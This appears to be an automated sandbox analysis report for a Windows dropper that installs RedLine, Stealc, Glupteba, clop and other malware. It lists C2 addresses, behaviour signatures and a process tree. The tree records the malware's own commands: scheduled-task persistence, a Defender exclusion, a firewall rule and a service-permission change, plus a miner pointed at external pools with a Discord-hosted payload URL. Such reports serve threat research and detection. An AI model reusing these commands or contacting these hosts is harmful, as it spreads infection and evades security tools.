Overview

overview

10

Static

static

3

4363463463...63.exe

windows7-x64

10

Resubmissions

11-02-2024 08:10

240211-j212ragb47 10

11-02-2024 08:09

240211-j2kprseb2w 10

09-02-2024 18:28

240209-w4c4xsde9t 10

02-02-2024 12:52

240202-p4dxwsgfej 10

02-02-2024 12:45

240202-pzapnsgdbp 10

16-01-2024 15:29

240116-sw8dbaehh3 10

10-01-2024 14:41

240110-r2wq2ahchl 10

10-01-2024 13:29

240110-qrqatshbg3 10

22-12-2023 08:48

231222-kqp1sadghq 10

Analysis

  • max time kernel
    1450s
  • max time network
    1815s
  • platform
    windows7_x64
  • resource
    win7-20231215-es
  • resource tags

    arch:x64arch:x86image:win7-20231215-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    10-01-2024 13:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4363463463464363463463463.exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score
10/10
betabotclopfabookiegluptebaredlinerhadamanthysstealc@pixelivebackdoorbotnetdiscoverydropperevasioninfostealerloaderpersistenceransomwarerootkitspywarestealertrojanupx

Malware Config

Extracted

Family

redline

Botnet

@Pixelive

C2

195.20.16.103:20440

Extracted

Family

stealc

C2

http://185.172.128.79

Attributes
  • url_path

    /3886d2276f6914c4.php

rc4.plain

Signatures

  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

    trojanbackdoorbotnetbetabot
  • Detect Fabookie payload 2 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 13 IoCs
  • Modifies firewall policy service 2 TTPs 4 IoCs
    evasion
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

    stealerrhadamanthys
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • clop

    Ransomware discovered in early 2019 which has been actively developed since release.

    ransomwareclop
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates VirtualBox registry keys 2 TTPs 20 IoCs
    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Downloads MZ/PE file
  • Looks for VMWare services registry key. 1 TTPs 4 IoCs
    evasion
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets file execution options in registry 2 TTPs 4 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 53 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 8 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Maps connected drives based on registry 3 TTPs 8 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 30 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 6 IoCs
  • NSIS installer 1 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • GoLang User-Agent 8 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 29 IoCs
    evasionspywaretrojan
  • NTFS ADS 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 36 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1244
    • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
      "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
      2⤵
      • Looks for VMWare services registry key.
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Maps connected drives based on registry
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Users\Admin\AppData\Local\Temp\Files\pixelguy.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\pixelguy.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3056
      • C:\Users\Admin\AppData\Local\Temp\Files\tuc2.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\tuc2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1672
      • C:\Users\Admin\AppData\Local\Temp\Files\newrock.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\newrock.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1148
      • C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe"
        3⤵
        • Executes dropped EXE
        PID:576
      • C:\Users\Admin\AppData\Local\Temp\Files\brg.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\brg.exe"
        3⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:2164
      • C:\Users\Admin\AppData\Local\Temp\Files\tuc5.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\tuc5.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:620
      • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of AdjustPrivilegeToken
        PID:1008
      • C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
        3⤵
        • Executes dropped EXE
        PID:1792
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 524
          4⤵
          • Program crash
          PID:2620
      • C:\Users\Admin\AppData\Local\Temp\Files\kb^fr_ouverture.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\kb^fr_ouverture.exe"
        3⤵
        • Executes dropped EXE
        PID:3004
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 464
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1588
      • C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe"
        3⤵
        • Executes dropped EXE
        PID:628
      • C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2672
        • C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1068
      • C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe"
        3⤵
        • Executes dropped EXE
        PID:2832
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" & exit
          4⤵
            PID:1344
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1368
        • C:\Users\Admin\AppData\Local\Temp\Files\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\patch.exe"
          3⤵
          • Executes dropped EXE
          PID:2240
        • C:\Users\Admin\AppData\Local\Temp\Files\chdyz.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\chdyz.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:3020
        • C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          PID:2784
        • C:\Users\Admin\AppData\Local\Temp\Files\5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567.exe"
          3⤵
          • Executes dropped EXE
          PID:2004
          • C:\Users\Admin\AppData\Local\Temp\ghoul.exe
            "C:\Users\Admin\AppData\Local\Temp\ghoul.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1880
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1044
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1880 -s 700
              5⤵
                PID:3060
          • C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe"
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of AdjustPrivilegeToken
            PID:836
          • C:\Users\Admin\AppData\Local\Temp\Files\asas.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"
            3⤵
            • Executes dropped EXE
            PID:1752
            • C:\Windows\System32\werfault.exe
              \??\C:\Windows\System32\werfault.exe
              4⤵
                PID:2688
            • C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2800
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 848
                4⤵
                • Program crash
                PID:1484
            • C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe"
              3⤵
              • Executes dropped EXE
              PID:1740
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1740 -s 464
                4⤵
                • Program crash
                PID:868
            • C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:2724
              • C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe
                "{path}"
                4⤵
                • Executes dropped EXE
                PID:2368
            • C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:3052
              • C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
                4⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1760
            • C:\Users\Admin\AppData\Local\Temp\Files\updHost.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\updHost.exe"
              3⤵
              • Looks for VMWare services registry key.
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Maps connected drives based on registry
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:992
            • C:\Users\Admin\AppData\Local\Temp\Files\BestSoftware.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\BestSoftware.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              PID:760
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                4⤵
                  PID:2036
              • C:\Users\Admin\AppData\Local\Temp\Files\npp.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"
                3⤵
                • Executes dropped EXE
                PID:2720
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2720 -s 564
                  4⤵
                  • Program crash
                  PID:2096
            • C:\Windows\SysWOW64\dialer.exe
              "C:\Windows\system32\dialer.exe"
              2⤵
                PID:1044
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
                2⤵
                • Drops file in System32 directory
                • Suspicious use of AdjustPrivilegeToken
                PID:2512
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
                  3⤵
                  • Creates scheduled task(s)
                  PID:936
              • C:\Windows\System32\schtasks.exe
                C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
                2⤵
                  PID:2000
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2928
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
                    3⤵
                    • Creates scheduled task(s)
                    PID:2592
                • C:\Windows\System32\notepad.exe
                  C:\Windows\System32\notepad.exe
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:2512
                • C:\Users\Admin\AppData\Local\Temp\C42A.exe
                  C:\Users\Admin\AppData\Local\Temp\C42A.exe
                  2⤵
                  • Enumerates VirtualBox registry keys
                  • Sets file execution options in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Checks processor information in registry
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1196
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    3⤵
                    • Modifies firewall policy service
                    • Enumerates VirtualBox registry keys
                    • Sets file execution options in registry
                    • Checks BIOS information in registry
                    • Adds Run key to start application
                    • Drops desktop.ini file(s)
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Drops file in Windows directory
                    • Checks processor information in registry
                    • Enumerates system info in registry
                    • Modifies Internet Explorer Protected Mode
                    • Modifies Internet Explorer Protected Mode Banner
                    • Modifies Internet Explorer settings
                    • NTFS ADS
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious behavior: RenamesItself
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2388
                    • C:\Users\Admin\AppData\Local\Temp\awwyg33m9kws5s_1.exe
                      /suac
                      4⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Checks processor information in registry
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1884
                • C:\Users\Admin\AppData\Local\Temp\5D6D.exe
                  C:\Users\Admin\AppData\Local\Temp\5D6D.exe
                  2⤵
                  • Executes dropped EXE
                  PID:2372
              • C:\Windows\system32\Dwm.exe
                "C:\Windows\system32\Dwm.exe"
                1⤵
                  PID:1172
                • C:\Windows\system32\conhost.exe
                  \??\C:\Windows\system32\conhost.exe "-934103684-451857973889952618-1040129577-236465806-334412579-1566933122-585022481"
                  1⤵
                    PID:2104
                  • C:\Users\Admin\AppData\Local\Temp\is-HL36M.tmp\tuc2.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-HL36M.tmp\tuc2.tmp" /SL5="$701F4,4461931,54272,C:\Users\Admin\AppData\Local\Temp\Files\tuc2.exe"
                    1⤵
                    • Looks for VMWare services registry key.
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks whether UAC is enabled
                    • Maps connected drives based on registry
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of FindShellTrayWindow
                    PID:2504
                  • C:\Windows\system32\DllHost.exe
                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                    1⤵
                      PID:1608
                    • C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                      C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:2688
                    • C:\Users\Admin\AppData\Local\Temp\rty25.exe
                      "C:\Users\Admin\AppData\Local\Temp\rty25.exe"
                      1⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      PID:1164
                    • C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
                      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2128
                      • C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
                        "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
                        2⤵
                        • Windows security bypass
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Windows security modification
                        • Adds Run key to start application
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:1660
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                          3⤵
                            PID:3000
                          • C:\Windows\rss\csrss.exe
                            C:\Windows\rss\csrss.exe
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Adds Run key to start application
                            • Manipulates WinMonFS driver.
                            • Drops file in Windows directory
                            • Modifies system certificate store
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2844
                            • C:\Windows\system32\schtasks.exe
                              schtasks /delete /tn ScheduledUpdate /f
                              4⤵
                                PID:1648
                              • C:\Windows\system32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                4⤵
                                • Creates scheduled task(s)
                                PID:2856
                              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                4⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2664
                              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                4⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Modifies system certificate store
                                PID:1512
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\Sysnative\bcdedit.exe /v
                                4⤵
                                • Modifies boot configuration data using bcdedit
                                PID:1764
                              • C:\Windows\system32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                4⤵
                                • Creates scheduled task(s)
                                • Suspicious use of WriteProcessMemory
                                PID:3000
                              • C:\Windows\windefender.exe
                                "C:\Windows\windefender.exe"
                                4⤵
                                • Executes dropped EXE
                                PID:2616
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                  5⤵
                                    PID:2072
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                      6⤵
                                      • Launches sc.exe
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:936
                                • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                                  4⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:1868
                                  • C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
                                    C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 0db26d82-0b5a-42b3-9ce0-0a1852cf2b75 --tls --nicehash -o showlock.net:443 --rig-id 0db26d82-0b5a-42b3-9ce0-0a1852cf2b75 --tls --nicehash -o showlock.net:80 --rig-id 0db26d82-0b5a-42b3-9ce0-0a1852cf2b75 --nicehash --http-port 3433 --http-access-token 0db26d82-0b5a-42b3-9ce0-0a1852cf2b75 --randomx-wrmsr=-1
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    PID:1796
                                  • C:\Windows\rss\csrss.exe
                                    C:\Windows\rss\csrss.exe -hide 1796
                                    5⤵
                                    • Executes dropped EXE
                                    • Manipulates WinMon driver.
                                    PID:2576
                                • C:\Users\Admin\AppData\Local\Temp\csrss\a4f5f1769e9bfd6c4510d7b73aa3332f.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\a4f5f1769e9bfd6c4510d7b73aa3332f.exe
                                  4⤵
                                  • Executes dropped EXE
                                  PID:2168
                                • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                  4⤵
                                  • Executes dropped EXE
                                  PID:1544
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:344
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:2552
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  4⤵
                                  • Creates scheduled task(s)
